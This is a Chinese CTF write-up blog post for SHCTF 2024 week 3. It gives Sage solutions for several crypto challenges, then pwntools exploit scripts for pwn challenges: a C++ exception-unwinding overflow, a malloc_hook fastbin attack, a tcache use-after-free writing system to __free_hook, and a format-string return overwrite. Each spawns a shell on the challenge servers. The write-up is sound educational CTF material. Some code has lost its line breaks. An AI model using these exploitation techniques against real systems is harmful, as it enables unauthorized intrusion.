当前位置: 首页 > news >正文

[山河CTF 2024] week3

一周不在家,这是补的最后一篇。后边的还有0xgame和shctf的末周。打不动了。

Crypto

Approximate_n

题目分两部分,flag分两块两个RSA,第1个泄露了4个n_approx=kp+r的值,后边只泄露了1个。

第1部分利用以前的模板,造格规约

Count = 3
L = Matrix(ZZ, Count, Count)
K = 2^247
L[0,0] = K
for i in range(1, Count):L[0,i] = N1_reveal[i]L[i,i] = -N1_reveal[0]
res = L.LLL()[0]p = N1_reveal[0] // (abs(res[0]) // K)

然后第2部分只有1个就造不了了。后来一想这东西很小,直接cooper试试,结果出了。

P.<x> = PolynomialRing(Zmod(N2))
f = N2_reveal - x 
res = f.small_roots(X=2^247,beta=0.4, epsilon=0.01)
r = f(res[0])
p = gcd(N2, N2_reveal-r)
long_to_bytes(int(pow(C2,inverse_mod(65537,p-1),p)))

看WP应该是造这个

B=\begin{bmatrix} -2^{2log_r} & 2^{log_r}N1 & 0\\ 0 & -2^{log_r} & N1\\ 0 & 0 & N0 \end{bmatrix}

引用一下官,我回头慢慢理解。

def solve2(N,N1,t,k,sys):var('x y')f = N1-xQ_polys = []for j in range(t + 1):# print(max(k-j,0),min(j,k),max(j-k,0))x1,x2,x3 = max(k-j,0),min(j,k),max(j-k,0)Q_polys.append(N^(max(k-j,0))*f^(min(j,k))*x^(max(j-k,0)))# print(Q_polys)len = t+1B = []num = 0for i in Q_polys:J = i.coefficients()b = [0*x for x in range(len)]for j in J:# print(j[0],j[1])b[j[1]] = ZZ(j[0])*(2**sys)**ZZ(j[1])B.append(b[::-1])num+=1B = matrix(QQ,B)solve_B = B.LLL()print('===We have find the right B_LLL===')BB = solve_B[0]a = []for i in range(len):a.append(BB[i]//((2^sys)^(t-i)))f1 = 0for i in range(t+1):f1 += a[i]*x^(t-i)m = f1.roots(multiplicities=False)print(m)return m

 

Lattice

hint = x*m^-1 mod n直接用hint和n造格  m*hint = x + kn 

M = matrix(ZZ, [[1,hint],[0,n]])
res = M.LLL()
m = res[0][0]
long_to_bytes(int(m))
Shamir

门限方案。又是一个脑筋急转弯的题。这里没限制0也就是kn的情况,所以直接输入0就得到m。后来看官方不是急转弯(漏限制项应该写x%n==0 die())。

正经的写就是取101个数,然后矩阵给它求一下。可以用2开始的101个素数,感觉随机数也行,毕竟数很大,不大可能谁是谁的因子。

from data import *M = matrix(Zmod(n),101,101)
val = vector(Zmod(n),101)for i in range(101):for j in range(101):M[j,i] = pow(s[i][0],j,n)val[i] = s[i][1]res = M.solve_left(val)#res[0] 2714383922841583342545410709520735557018424739022559024254636526541894241086845280356019548541
m = res[0]
from Crypto.Util.number import *
print(long_to_bytes(int(m)))

官方方法是用拉格朗日插值法,原来存过,但还是不大会。这里x取的是1开始的101个数。

R.<x> = PolynomialRing(Zmod(n))recover_f = R.lagrange_polynomial(PT)
m = recover_f(0)
flag = long_to_bytes(int(m))
print(flag)
babyLCG

LCG参数全有,但只给出高-80位。直接用2元cooper

h = [i<<80 for i in c]
P.<x1,x2> = PolynomialRing(Zmod(p))
f = a*(h[0]+x1) + b - h[1] - x2#2元 coopersmith
res =small_roots(f,bounds=(2^80,2^80),2,3)
#[(599252632492697576403405, 756741212306419214614221)]x1 = res[0][0]
m = (h[0]+x1-b)*inverse_mod(a,p)%p
from Crypto.Util.number import *
long_to_bytes(int(m))
#b'SHCTF{1c6_M4y_mE4n5_Iou_don6_cAI_oa}'
baby_lock

这个没弄出来,看了看WP。是v8下math.random的漏洞。不学了,漏洞应该已经修补了。

大学×高中√

一开始没想到怎么弄,后来发现原来存了一个题,是求tag(m),跟着倒过来。

这里的边K需要控制一下,不过直接上1000也行。

acos = arccos(leak)
RR = RealField(1000)
pi = RR(pi) #使pi更加精确for x in range(500,1000):K = 2^xL = Matrix(QQ,[[1,0,K],[0,2^(47*8),K*acos],[0,0,K*2*pi]])m = abs(L.LLL()[0][0])v = long_to_bytes(int(m))if b'{' in v and b'}' in v:print(x,v)break#SHCTF{arcCo5_lEARNED_1n_hI9h_ScHOOI_usEd_laTEr}

PWN

Awakening of SKYNET

这是个c++的程序,当抛出异常时程序不会退出,会沿着栈向前找catch,所以直接通过写溢出跳过第1个catch让第2个带后门的catch捕获即可。代码很简单,但是这个点不大常见。

from pwn import *
context(arch='amd64', log_level='debug')p = remote('210.44.150.15', 28052)#掷出异常后,会向前回溯调用它的函数中的catch,执行catch里的代码
#func3的返回地址后func2有catch语句处理,将返回地址由func2改为func1将执行func1 catch里的后门程序
#弹出后的rbp会写入数据,保证 [rbp-0x18]可写
p.sendafter(b">>> SKYNET: Input command: ", b'\0'*0x20+flat(0x405800, 0x402749))p.interactive()
TUTo的服务器

有canary但是计数在后边,通过写i跳过,写尾位到后门。

from pwn import *
context(arch='amd64',log_level = 'debug')p = remote('210.44.150.15', 29480)p.sendafter(b"Please enter the invitation code", b"TUTo_shi_da_shuai_ge\0")
p.sendafter(b"Please enter your name", b'/bin/sh\0'*(0xf*2))#\x37修改i跳到ret处修改后两字节到system(rbp-30)
p.send(b'echo flag'.ljust(16,b'\0')+b'/bin/sh\0'+b'\0'*4+ b'\x37'+b'\x8d\x53')p.interactive()
ez_heap

libc-2.23写one这个好辛苦。好老。

from pwn import *
context(arch='amd64',log_level = 'debug')libc = ELF('./libc.so.6')
elf = ELF('./pwn')def add(size,msg=b'A'):p.sendlineafter(b"Your choice :", b'1')p.sendlineafter(b"Note size :", str(size).encode())p.sendafter(b"Content :", msg)def free(idx):p.sendlineafter(b"Your choice :", b'2')p.sendlineafter(b"Index :", str(idx).encode())def show(idx):p.sendlineafter(b"Your choice :", b'3')p.sendlineafter(b"Index :", str(idx).encode())#p = remote('47.97.58.52', 42003)
p = 0
def gao(one, off):global p #p = process('./pwn')p = remote('210.44.150.15', 25633)add(0x80)add(0x68)add(0x68)free(0)show(0)libc.address = u64(p.recvline()[:-1].ljust(8, b'\0')) - 0x3c4b78print(f"{libc.address = :x}")oneaddr = libc.address + onefree(1)free(2)free(1)add(0x68, p64(libc.sym['__malloc_hook']- 0x23))add(0x68)add(0x68,b'/bin/sh\0')add(0x68,b'\0'*0x13+flat(oneaddr, libc.sym['realloc']+off))#gdb.attach(p, "b*0x5555555552ab\nc")p.sendlineafter(b"Your choice :", b'1')p.sendlineafter(b"Note size :", str(0x68).encode())#p.sendline(b'cat flag')#p.sendline(b'cat flag')p.interactive()for v in [0x45226,0x4527a,0xf03a4,0xf1247][3:]:for v2 in [0,2,4,6,8,12,13,16]:gao(v,v2)
ez_tcache

uaf板子题,先通过unsort得到libc再写system到__free_hook

from pwn import *
context(arch='amd64',log_level = 'debug')libc = ELF('./libc.so.6')
elf = ELF('./pwn')def add(idx, size,msg=b'A'):p.sendlineafter(b">> ", b'1')p.sendlineafter(b"Index: ", str(idx).encode())p.sendlineafter(b"Size: ", str(size).encode())p.sendafter(b"please input the tag: ", msg)     #0x20def free(idx):p.sendlineafter(b">> ", str(0xffff).encode())  #uafp.sendlineafter(b"Index: ", str(idx).encode())def show(idx):p.sendlineafter(b">> ", b'3')p.sendlineafter(b"Index: ", str(idx).encode())def edit(idx, msg):p.sendlineafter(b">> ", b'4')p.sendlineafter(b"Index: ", str(idx).encode())p.send(msg)#p = process('./pwn')
p = remote('210.44.150.15', 26561)for i in range(8):add(i, 0xf8)for i in range(7,-1,-1):free(i)add(8, 0x20)
edit(0, b'A'*0x10)
show(0)
libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - 0x3ebca0
print(f"{libc.address = :x}")edit(0, flat(0,0xd1))
add(9, 0x20)
free(8)
free(9)
edit(0, flat(0,0x31, libc.sym['__free_hook']))add(10, 0x20, b'/bin/sh\0')
add(11, 0x20, p64(libc.sym['system']))free(10)
p.interactive()
fmt_fmt

格式化字符串题,栈内就比较好办了。先泄露栈地址,再写ret

from pwn import *
context(arch='amd64',log_level = 'debug')elf = ELF('./pwn')p = remote('210.44.150.15', 31252)p.sendlineafter(b"3. exit", b'2')
p.sendlineafter(b"which one do you want to talk to?", b'8')
p.sendafter(b"what you want to say?", b"%28$p,%29$p,\0")
p.sendlineafter(b"3. exit", b'2')
stack = int(p.recvuntil(b',', drop=True),16) - 8
elf.address = int(p.recvuntil(b',', drop=True),16) - 0x1443print(f"{stack = :x} {elf.address = :x}")p.sendlineafter(b"which one do you want to talk to?", b'8')
p.sendafter(b"what you want to say?", f"%{(elf.address + 0x1255)&0xffff}c%8$hn".ljust(16,'A').encode()+p64(stack))p.sendlineafter(b"3. exit", b'2')p.interactive()

相关文章:

[山河CTF 2024] week3

一周不在家&#xff0c;这是补的最后一篇。后边的还有0xgame和shctf的末周。打不动了。 Crypto Approximate_n 题目分两部分&#xff0c;flag分两块两个RSA&#xff0c;第1个泄露了4个n_approxkpr的值&#xff0c;后边只泄露了1个。 第1部分利用以前的模板&#xff0c;造格…...

Java集合常见面试题总结(5)

HashSet 如何检查重复? 当你把对象加入HashSet时&#xff0c;HashSet 会先计算对象的hashcode值来判断对象加入的位置&#xff0c;同时也会与其他加入的对象的 hashcode 值作比较&#xff0c;如果没有相符的 hashcode&#xff0c;HashSet 会假设对象没有重复出现。但是如果发…...

牛客网刷题(3)(Java的几种常用包)

目录 一、牛客网案例题目。 二、Java常用包的总结。 <1>JAVA常用包&#xff08;图片&#xff09;。 <2>java.lang包。 <3>java.util包。 &#xff08;1&#xff09;集合框架。 1、Collection接口。 2、List接口。 3、Set接口。 4、Queue接口。 5、Map接口。 …...

PyTorch nn.Conv2d 空洞卷积

torch.nn.Conv2d() 中 dilation 参数控制卷积核的间隔 dilation controls the spacing between the kernel points 当 dilation1 时, 表示卷积核没有额外的空白间距, 也就是标准卷积当 dilation>1 时, 表示空洞卷积(dilated convolution) 动画演示: 手动计算 以 2*2 的卷…...

像素、分辨率、PPI(像素密度)、帧率的概念

文章目录 前言一、像素1、定义2、像素点也不是越多越好 二、分辨率1、定义 三、PPI(像素密度)1、定义2、计算公式3、视网膜屏幕 四、帧率1、帧 (Frame)2、帧数 (Frames)3、帧率 (Frame Rate)4、FPS (Frames Per Second)5、赫兹 五、其他1、英寸2、为何显示器尺寸以英寸命名 总结…...

两步GMM计算权重矩阵

在广义矩方法&#xff08;GMM&#xff09;中&#xff0c;权重矩阵(W)的选择是关键的一步。理想情况下&#xff0c;(W)应该等于矩条件的协方差矩阵的逆矩阵。这是因为使用这样的权重矩阵可以使得估计量达到最小方差&#xff0c;从而提高估计效率。 两步GMM计算权重矩阵(W) 第一…...

leetcode452. 用最少数量的箭引爆气球

有一些球形气球贴在一堵用 XY 平面表示的墙面上。墙面上的气球记录在整数数组 points &#xff0c;其中points[i] [xstart, xend] 表示水平直径在 xstart 和 xend之间的气球。你不知道气球的确切 y 坐标。 一支弓箭可以沿着 x 轴从不同点 完全垂直 地射出。在坐标 x 处射出一…...

【Android】使用TextView实现按钮开关代替Switch开关

介绍 Android 本身自己带的有开关控件&#xff0c;但是很多时候我们是不愿意使用这种开关的&#xff0c;感觉使用起来比较麻烦&#xff0c;特别是遇到需要延迟操作的情况。 比如有一个需求是这样的&#xff1a;我们需要打开一个设置&#xff0c;但是这个设置是否打开需要经过…...

(49)MATLAB实现迫零均衡器原理与代码

文章目录 前言一、迫零均衡器设计说明二、迫零均衡器MATLAB源代码1.函数说明2.代码实现3.辅助函数 前言 使用MATLAB实现迫零均衡器。给出完整的MATLAB设计源代码。 一、迫零均衡器设计说明 理想的迫零均衡器有无限多个抽头权系数&#xff0c;是不能实现的&#xff0c;本文考虑…...

滚柱导轨出现异常损坏的原因

滚柱导轨是一种精密的直线滚动导轨&#xff0c;具有较高的承载能力和较高的刚性&#xff0c;对反复动作、起动、停止往复运动频率较高情况下可减少整机重量和传动机构及动力成本。滚柱导轨可获得较高的灵敏度和高性能的平面直线运动&#xff0c;在重载或变载的情况下&#xff0…...

架构师考试系列(6)论文专题:论分布式架构设计

论分布式架构设计 摘要: 2020年2月,我司中标了某省电力公司的配网运维管控项目,该项目接入电力公司营销、设备和调度等多个部门的专业数据,为配网运行、配网检修、配网抢修、配网工程、供电服务等核心业务提供数据支撑。由于本项目是省级项目,系统可靠性、可用性要求比较…...

leetcode hot100【LeetCode 230. 二叉搜索树中第K小的元素】java实现

LeetCode 230. 二叉搜索树中第K小的元素 题目描述 给定一个二叉搜索树的根节点 root&#xff0c;和一个整数 k&#xff0c;请你找出其中第 k 小的节点。 注意&#xff1a; 题目保证 k 的有效性。 示例&#xff1a; 给定二叉搜索树&#xff1a; 5/ \3 7/ \ \ 2 4 …...

从0开始深度学习(23)——图像卷积

上节了解了卷积层的原理&#xff0c;本节以图像为例&#xff0c;介绍一下它的实际应用 1 互相关运算 严格来说&#xff0c;卷积层是个错误的叫法&#xff0c;因为它所表达的运算其实是互相关运算&#xff08;cross-correlation&#xff09;。 首先&#xff0c;我们暂时忽略通…...

编程小白如何成为大神

成为编程大神的过程需要时间、耐心和实践。以下是一些适合大学新生的入门攻略&#xff1a; 1. 确定学习目标 选择语言&#xff1a;选择一门编程语言作为起点&#xff0c;如 Python、Java 或 JavaScript。Python 是初学者的热门选择&#xff0c;因为其语法简洁易懂。设定目标&…...

JetCache启动循环依赖分析

问题呈现 项目性能优化&#xff0c;需要将本地内存&#xff08;JVM内存&#xff09;替换为本地Redis&#xff08;同一个Pod中的Container&#xff09;&#xff0c;降低JVM内存和GC的压力&#xff0c;同时引入了JetCache简化和统一使用&#xff08;对JetCache也做了扩展&#x…...

【科研绘图】3DMAX管状图表生成插件TubeChart使用方法

3DMAX管状图表生成插件TubeChart&#xff0c;一款用于制作3D管状图表的工具。可以自定义切片的数量以及随机或指定切片颜色。 【版本要求】 3dMax 2008及更高版本 【安装方法】 TubeChart插件无需安装&#xff0c;使用时直接拖动插件脚本文件到3dMax视口中打开即可&#xff0…...

基于SSM土家风景文化管理系统的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;用户管理&#xff0c;景点分类管理&#xff0c;热门景点管理&#xff0c;门票订单管理&#xff0c;旅游线路管理&#xff0c;系统管理 前提账号功能包括&#xff1a;系统首页&#xff0c;个人中心&…...

C++超强图片预览器

下载 文件打开关联 关键代码 uint32_t getSrcPx3(const cv::Mat& srcImg, int srcX, int srcY, int mainX, int mainY) const {cv::Vec3b srcPx = srcImg.at<cv::Vec3b>(srcY, srcX);intUnion ret = 255;if (curPar.zoomCur < curPar.ZOOM_BASE && src…...

网络搜索引擎Shodan(2)

声明&#xff1a;学习视频来自b站up主 泷羽sec&#xff0c;如涉及侵权马上删除文章 声明&#xff1a;本文主要用作技术分享&#xff0c;所有内容仅供参考。任何使用或依赖于本文信息所造成的法律后果均与本人无关。请读者自行判断风险&#xff0c;并遵循相关法律法规。 感谢泷…...

【Tableau】

Tableau 是一款强大且广泛使用的数据可视化和商业智能&#xff08;BI&#xff09;工具&#xff0c;用于帮助用户分析、探索和呈现数据。它通过直观的拖放界面&#xff0c;允许用户轻松创建动态仪表板和报告&#xff0c;而无需编写代码。Tableau 可处理多种数据源&#xff0c;如…...

树莓派超全系列教程文档--(62)使用rpicam-app通过网络流式传输视频

使用rpicam-app通过网络流式传输视频 使用 rpicam-app 通过网络流式传输视频UDPTCPRTSPlibavGStreamerRTPlibcamerasrc GStreamer 元素 文章来源&#xff1a; http://raspberry.dns8844.cn/documentation 原文网址 使用 rpicam-app 通过网络流式传输视频 本节介绍来自 rpica…...

macOS多出来了:Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用

文章目录 问题现象问题原因解决办法 问题现象 macOS启动台&#xff08;Launchpad&#xff09;多出来了&#xff1a;Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用。 问题原因 很明显&#xff0c;都是Google家的办公全家桶。这些应用并不是通过独立安装的…...

在四层代理中还原真实客户端ngx_stream_realip_module

一、模块原理与价值 PROXY Protocol 回溯 第三方负载均衡&#xff08;如 HAProxy、AWS NLB、阿里 SLB&#xff09;发起上游连接时&#xff0c;将真实客户端 IP/Port 写入 PROXY Protocol v1/v2 头。Stream 层接收到头部后&#xff0c;ngx_stream_realip_module 从中提取原始信息…...

苍穹外卖--缓存菜品

1.问题说明 用户端小程序展示的菜品数据都是通过查询数据库获得&#xff0c;如果用户端访问量比较大&#xff0c;数据库访问压力随之增大 2.实现思路 通过Redis来缓存菜品数据&#xff0c;减少数据库查询操作。 缓存逻辑分析&#xff1a; ①每个分类下的菜品保持一份缓存数据…...

视频字幕质量评估的大规模细粒度基准

大家读完觉得有帮助记得关注和点赞&#xff01;&#xff01;&#xff01; 摘要 视频字幕在文本到视频生成任务中起着至关重要的作用&#xff0c;因为它们的质量直接影响所生成视频的语义连贯性和视觉保真度。尽管大型视觉-语言模型&#xff08;VLMs&#xff09;在字幕生成方面…...

Python爬虫(一):爬虫伪装

一、网站防爬机制概述 在当今互联网环境中&#xff0c;具有一定规模或盈利性质的网站几乎都实施了各种防爬措施。这些措施主要分为两大类&#xff1a; 身份验证机制&#xff1a;直接将未经授权的爬虫阻挡在外反爬技术体系&#xff1a;通过各种技术手段增加爬虫获取数据的难度…...

反射获取方法和属性

Java反射获取方法 在Java中&#xff0c;反射&#xff08;Reflection&#xff09;是一种强大的机制&#xff0c;允许程序在运行时访问和操作类的内部属性和方法。通过反射&#xff0c;可以动态地创建对象、调用方法、改变属性值&#xff0c;这在很多Java框架中如Spring和Hiberna…...

前端开发面试题总结-JavaScript篇(一)

文章目录 JavaScript高频问答一、作用域与闭包1.什么是闭包&#xff08;Closure&#xff09;&#xff1f;闭包有什么应用场景和潜在问题&#xff1f;2.解释 JavaScript 的作用域链&#xff08;Scope Chain&#xff09; 二、原型与继承3.原型链是什么&#xff1f;如何实现继承&a…...

SpringTask-03.入门案例

一.入门案例 启动类&#xff1a; package com.sky;import lombok.extern.slf4j.Slf4j; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.cache.annotation.EnableCach…...

有限自动机到正规文法转换器v1.0

1 项目简介 这是一个功能强大的有限自动机&#xff08;Finite Automaton, FA&#xff09;到正规文法&#xff08;Regular Grammar&#xff09;转换器&#xff0c;它配备了一个直观且完整的图形用户界面&#xff0c;使用户能够轻松地进行操作和观察。该程序基于编译原理中的经典…...